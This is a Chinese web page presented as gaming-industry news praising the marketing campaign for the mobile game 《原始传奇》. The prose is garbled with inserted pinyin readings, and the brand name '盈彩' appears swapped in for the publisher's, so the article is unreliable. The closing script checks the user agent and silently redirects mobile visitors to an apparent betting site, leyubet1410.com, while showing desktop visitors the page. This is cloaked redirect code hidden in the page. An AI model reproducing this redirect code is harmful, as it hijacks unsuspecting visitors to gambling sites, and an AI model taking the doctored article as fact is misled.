盈彩

新闻动态

TANWAN NEWS

游戏日报:年度新锐游戏:盈彩再次改变传奇风丨游戏行业金口奖

年度新锐(rui)游戏实至名归,盈彩用行动(dong)再次改(gai)变传奇风丨(shu)游戏行业金口奖

无论游戏行业如(ru)何变化(hua),传奇(qi)游戏广告都能突破圈层,成为外界(jie)所(suo)熟知且人们(men)津津乐道的(de)营销话题之一,尤(you)其(qi)是盈彩系列游戏。即便是不玩游戏的(de)人,提到盈彩或传奇(qi)等(deng)关键词,也(ye)能张口(kou)就说上(shang)几句(ju)经典台词。
 
今年7月,随(sui)着新游(you)《原始传奇(qi)》上线,盈彩游(you)戏的(de)(de)营销策略再(zai)次(ci)进入大众视野(ye)。但和以往不同的(de)(de)是,此(ci)次(ci)《原始传奇(qi)》的(de)(de)出圈(quan),并不是之(zhi)前常见的(de)(de)“硬汉型男(nan)明星(xing)+直白(bai)广告(gao)词”模式(shi)。从明星(xing)代言,到(dao)(dao)广告(gao)质量,再(zai)到(dao)(dao)广告(gao)投放,盈彩游(you)戏的(de)(de)最新营销套(tao)路(lu),彻底颠覆了人们(men)对于(yu)传奇(qi)广告(gao)的(de)(de)固有(you)印(yin)象(xiang)。
 
更重要的(de)是,这种颠覆性的(de)改变,还(hai)取得了不错的(de)效果。
 

用次世代技术还原经典,《原始传奇》成为苹果iOS畅销榜排名最高的传奇游戏
 
《原(yuan)始(shi)(shi)传(chuan)奇(qi)》主打“原(yuan)汁原(yuan)味”,再现(xian)经典(dian)传(chuan)奇(qi)。游戏沿用了端游版传(chuan)奇(qi)的(de)(de)画(hua)面(mian)风格(ge),再现(xian)当(dang)年玩家们所熟悉的(de)(de)比奇(qi)城、沙巴克、祖(zu)玛寺庙等(deng)经典(dian)场景。游戏角色则复刻战士(shi)、道士(shi)、法(fa)师(shi)这一黄金铁三角以及白野猪等(deng)Boss。在此基础之(zhi)上,《原(yuan)始(shi)(shi)传(chuan)奇(qi)》还应(ying)用了时下(xia)主流的(de)(de)次世代技术,在画(hua)面(mian)上贴合(he)当(dang)下(xia)玩家的(de)(de)审美。


 
7月27日(ri),《原始(shi)传奇》正式上线,首月即拿下iOS中国(guo)游戏免费榜第7,在包括华(hua)为(wei)、OPPO、vivo等中国(guo)主流安卓(zhuo)应用市场中,冲(chong)进新游推荐榜前五。11月7日(ri)重登iOS榜后,《原始(shi)传奇》至今也是(shi)畅(chang)销榜排(pai)名最(zui)高的传奇手游。
 
当(dang)然,除了自(zi)身内容之外,《原始(shi)传奇》之所以能迅速(su)进入各(ge)大(da)游戏(xi)总榜的头部,也(ye)与其迅速(su)吸引核(he)心(xin)用户的营销打(da)法,有直接(jie)关系。
 
多元化代言人带来电影级TVC,你对传奇广告的印象该改变了
 
从目(mu)前《原始传奇》宣布的代言人中看,除了(le)甄子丹延续了(le)盈彩游(you)戏(xi)代言人一(yi)贯以(yi)来(lai)的风(feng)格——中国香(xiang)港实力派男明(ming)星(xing),盈彩游(you)戏(xi)还将目(mu)光放(fang)到了(le)当家(jia)花旦(dan)和知(zhi)名导演身上。
 
古力娜扎作(zuo)为(wei)《原始传(chuan)(chuan)奇(qi)(qi)》官宣(xuan)的(de)第一(yi)位(wei)女明星,也是盈彩游(you)戏(xi)首(shou)次邀请的(de)女明星代言人。当(dang)红(hong)花旦的(de)出(chu)场,一(yi)举打破了外界对于传(chuan)(chuan)奇(qi)(qi)游(you)戏(xi)“纯爷们”的(de)固(gu)有印(yin)象(xiang),引起了不(bu)少话题(ti)讨(tao)论。不(bu)仅是娜扎,在(zai)随后的(de)宣(xuan)传(chuan)(chuan)中(zhong),张天爱(ai)也宣(xuan)布成为(wei)《原始传(chuan)(chuan)奇(qi)(qi)》代言人。两位(wei)当(dang)红(hong)花旦同时代理一(yi)款传(chuan)(chuan)奇(qi)(qi)游(you)戏(xi),在(zai)行(xing)业(ye)里(li)恐怕还是首(shou)例。

除了(le)制(zhi)造形象(xiang)上的反差,盈彩游(you)戏还邀(yao)请了(le)知名导演冯小(xiao)刚作为(wei)代言人,并主演其中一(yi)支TVC。此外,演员徐(xu)少(shao)强、叶问第(di)三(san)代弟子梁家铭(ming)等也加盟了(le)《原始传奇》。
 
 
从代言人的(de)选取上可以看出,盈彩游戏对目(mu)标受(shou)众的(de)定(ding)位不再仅局(ju)限于十几年前的(de)那批(pi)老玩家,而是期望突破(po)圈层,吸引(yin)更多人的(de)关注。
 
广(guang)告内容上,《原始传(chuan)奇(qi)(qi)》从一(yi)句简(jian)单粗暴的(de)(de)广(guang)告词,变为打造宣传(chuan)性(xing)(xing)与(yu)艺术(shu)(shu)性(xing)(xing)兼具的(de)(de)高质(zhi)量TVC。在冯(feng)小刚为主演的(de)(de)TVC中,拍摄团队就采用“一(yi)镜到底”的(de)(de)电(dian)影艺术(shu)(shu)手(shou)法(fa),通过3分(fen)52秒的(de)(de)长镜头(tou),将(jiang)人们(men)带回到了十多年前在网(wang)(wang)吧玩(wan)《传(chuan)奇(qi)(qi)》的(de)(de)场景(jing)之中。一(yi)排排闪着雪花的(de)(de)台式机、年代感(gan)十足(zu)的(de)(de)传(chuan)奇(qi)(qi)海报以及嘈杂的(de)(de)网(wang)(wang)吧,对于传(chuan)奇(qi)(qi)玩(wan)家(jia),尤(you)其是初代玩(wan)家(jia)而言,这一(yi)幕无疑能够引(yin)起强(qiang)烈的(de)(de)情感(gan)共鸣。
 
更巧(qiao)妙地是(shi),这一支TVC还融合了冯小(xiao)刚(gang)《功夫》《老炮儿》和《甲方乙方》中一些(xie)造型(xing)与台词(ci)(ci)。想必(bi)看冯小(xiao)刚(gang)导演作(zuo)品长大的一代人,对(dui)于这些(xie)场(chang)景和台词(ci)(ci)都(dou)能有所共鸣(ming)。同时,这也暗含了《原始传奇》“经典重现(xian)”的主题思想。
 
与冯小刚这(zhei)支(zhi)TVC主打的(de)“情(qing)怀”不同,功夫巨星甄子丹为(wei)主演(yan)的(de)TVC以“真传奇”为(wei)主题。毕(bi)竟如今市面上(shang)的(de)传奇游戏数不胜数,但真正能(neng)带给(ji)玩家当年感觉(jue)的(de),可能(neng)屈指(zhi)可数,这(zhei)也是游戏团队强调“真传奇”的(de)必要性。
 
这支TVC中(zhong),镜头在“叶问”装扮的甄子丹(dan)与传奇角色甄子丹(dan)之间不断反复,快节(jie)奏的镜头切(qie)换与流畅(chang)的武打动(dong)作(zuo)相(xiang)辅相(xiang)成,从视觉上将(jiang)“真功夫”与“真传奇”融为一(yi)体。
 
台(tai)词方面,“真(zhen)(zhen)功夫”与“真(zhen)(zhen)传奇(qi)”的(de)(de)联(lian)系则由“武学功夫”切(qie)入,经(jing)“拳掌间舞动浩荡,顾盼间流淌传奇(qi)”引出(chu)传奇(qi)游(you)(you)戏(xi)的(de)(de)“正义(yi)、不(bu)屈、热血”,最后以“打出(chu)你的(de)(de)传奇(qi)”结尾。比起以前“是兄弟就(jiu)来砍(kan)我(wo)”,这次盈彩游(you)(you)戏(xi)考(kao)究的(de)(de)广告(gao)词不(bu)可谓不(bu)是一(yi)次华(hua)丽的(de)(de)变身。

 
值得一(yi)提的(de)是,几支代言人TVC中都出现了一(yi)个标志性的(de)建筑物——石门(men),让看似互相独立的(de)故事有(you)了共同记(ji)忆点(dian)。
 
电影级别的叙(xu)事手法(fa)、经典再现的场景以及考(kao)究的广告词(ci),《原始传(chuan)(chuan)奇》今年的TVC宣传(chuan)(chuan)片,彻底(di)改(gai)变了(le)外界对于传(chuan)(chuan)奇广告根深蒂固的印象。传(chuan)(chuan)奇游戏(xi)也从之前的买(mai)量(liang)、抢量(liang),来到了(le)塑(su)造(zao)品(pin)牌形象的时代。
 
另外,甄子丹主演的(de)TVC此(ci)前曾以一(yi)(yi)张“战”字海报作为解(jie)谜线索(suo),显而易见,甄子丹对应(ying)的(de)是游戏中的(de)“战士(shi)”一(yi)(yi)职。那么(me)还有(you)(you)哪些明星代表“道(dao)士(shi)”和“法(fa)师”呢?又(you)有(you)(you)怎样(yang)出乎意料的(de)TVC呈现在大家(jia)面(mian)前呢?这些尚(shang)且(qie)未知。但(dan)可(ke)以肯定,《原始(shi)传(chuan)奇》的(de)高质(zhi)量宣传(chuan)打法(fa),并不(bu)会止步(bu)于此(ci)。
 
 
 线上线下齐发力:500架无人机点亮外滩,游戏相关话题热度超1亿
 
在拥(yong)有电(dian)影级TVC的(de)基础上(shang),盈彩游(you)(you)戏还通(tong)过线(xian)上(shang)线(xian)下协同(tong)发力的(de)方(fang)式(shi),最大程度覆盖(gai)核心用户的(de)同(tong)时(shi),强(qiang)调《原(yuan)始传奇》不一样的(de)传奇游(you)(you)戏品牌形象(xiang)。
 
针(zhen)对线上(shang)(shang),盈彩游戏发起#原(yuan)始传奇(qi)(qi)(qi)原(yuan)汁原(yuan)味#、#原(yuan)始传奇(qi)(qi)(qi)冯小刚致敬经典#、#娜(na)扎代言(yan)原(yuan)始传奇(qi)(qi)(qi)#等微(wei)博(bo)话题,截至(zhi)目前,累计阅读(du)量(liang)超(chao)过1亿,讨论量(liang)超(chao)过10万。在抖(dou)音平台上(shang)(shang),盈彩游戏推出全民任务(wu),以加强网友(you)参与度,扩(kuo)(kuo)大(da)(da)自身影响力。《原(yuan)始传奇(qi)(qi)(qi)》上(shang)(shang)线百(bai)天之日,盈彩游戏还举办了百(bai)日会师活(huo)动(dong),进一步扩(kuo)(kuo)大(da)(da)市场(chang)布局,聚合核(he)心玩(wan)家。
 
线(xian)下广告的投放(fang)则主要集中于出租车电子屏、楼宇、电梯等传媒平(ping)台,力(li)(li)图全方位覆盖目标用户的日(ri)常生活场景。8月1日(ri),在(zai)公司五周年庆(qing)上,盈彩用500架无人机点亮上海外滩,携代言(yan)人古力(li)(li)娜扎为(wei)《原(yuan)始传奇》造势,成功将话(hua)题推广至(zhi)圈外。
事实上,在过去(qu)几个(ge)月,盈彩游戏与其他(ta)品(pin)牌的联动,涉及(ji)到了多个(ge)领域。
 
感恩节期间,《原始传奇(qi)》跨界合作广发银(yin)行。近(jin)日(ri),游戏官(guan)方还宣(xuan)布,与佛山咏(yong)春拳会馆进行了(le)一次非遗联动,和叶问(wen)第三代(dai)弟(di)子(zi)梁家铭拍摄武学功夫大片,一起“致敬经(jing)典”。 
此外(wai),《原始(shi)传奇》还与天河城(cheng)移动(dong)加盟厅以及花都骏壹万邦HUAWEI店(dian)、1212淘宝头号玩家(jia)等(deng)展开联(lian)合活(huo)动(dong)。通过多(duo)渠道(dao)联(lian)动(dong),《原始(shi)传奇》不仅(jin)扩大了品(pin)牌影响力,更树立(li)起了一(yi)个时尚、主流(liu)、正能量(liang)、传承传统文(wen)化的品(pin)牌形象。
 
纵观此次(ci)盈彩游戏(xi)的(de)(de)整(zheng)套(tao)营(ying)销策略(lve),明星名人(ren)代言、电影级(ji)TVC、全(quan)方位广告投放以(yi)(yi)及(ji)多形(xing)式的(de)(de)跨界联动,这些营(ying)销手段与(yu)以(yi)(yi)往传奇类游戏(xi)的(de)(de)宣传模式完全(quan)不同。如果说以(yi)(yi)前的(de)(de)广告宣传还停留在(zai)打开知(zhi)(zhi)名度、“被知(zhi)(zhi)道(dao)”的(de)(de)层(ceng)面,那么这次(ci)的(de)(de)营(ying)销重(zhong)心更多在(zai)于打造品(pin)牌,树立品(pin)牌形(xing)象。
 
纵(zong)观整个行业,这(zhei)种营销(xiao)方式加投入力度,在传奇品类游(you)(you)戏(xi)中还是头一次。它不仅打破几年前盈彩游(you)(you)戏(xi)自己在传奇类游(you)(you)戏(xi)市(shi)场上创(chuang)造的、已经固定了(le)的魔(mo)性广告,还给传奇品类游(you)(you)戏(xi),甚至是整个游(you)(you)戏(xi)行业的营销(xiao)提供了(le)一个参考(kao)方向。
 
结语
 
在(zai)近日落(luo)幕的第七(qi)届游戏行业金口奖(jiang)中,《原始传奇(qi)》被评(ping)(ping)为“2020年年度新锐产品(pin)”。此奖(jiang)项的评(ping)(ping)选(xuan)标准为,获奖(jiang)产品(pin)不仅要(yao)有亮(liang)眼的市场(chang)表(biao)现,也要(yao)受到行业的认可,在(zai)细分领域上(shang)具有标志性(xing)推动作用。
 
结合上(shang)(shang)文,《原始(shi)传(chuan)奇》排名位(wei)居(ju)各大游戏榜(bang)单(dan)头部。从具(ju)体的(de)变化曲线(xian)来看,根据(ju)(ju)七麦(mai)数据(ju)(ju),《原始(shi)传(chuan)奇》在安卓(zhuo)渠(qu)道的(de)下载(zai)量累(lei)计(ji)超过1000万,在重登(deng)iOS榜(bang)后的(de)的(de)营收则是一(yi)路上(shang)(shang)涨(zhang),初现长线(xian)发展的(de)潜力(li)。
 
 
而在行业认可度与影响力方面,《原始传(chuan)(chuan)奇(qi)》全新营销方式的(de)成功出圈,也(ye)被行业多家三方机构视为(wei)(wei)正面案例(li)反复提及,证明了(le)(le)(le)传(chuan)(chuan)奇(qi)游戏也(ye)能做品(pin)效(xiao)合(he)一。此外,今年8—10月,《原始传(chuan)(chuan)奇(qi)》还联合(he)警方查获了(le)(le)(le)多起恶意(yi)刷取元宝及道具行为(wei)(wei)的(de)非法团(tuan)伙犯(fan)罪行为(wei)(wei),很大程度上整(zheng)治了(le)(le)(le)不(bu)正风气(qi)。

关于我们 防沉迷系统 游戏纠纷处理 用户协议及隐私协议 家长监护 技术安全保障措施

  • 江西盈彩信息技术有限公司 版权所有
  • 赣网文(2017)2191-007号
  • 江西省上饶市上饶县凤凰西大道76号阳光时代写字楼大厦1幢508 联系电话4006233555
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();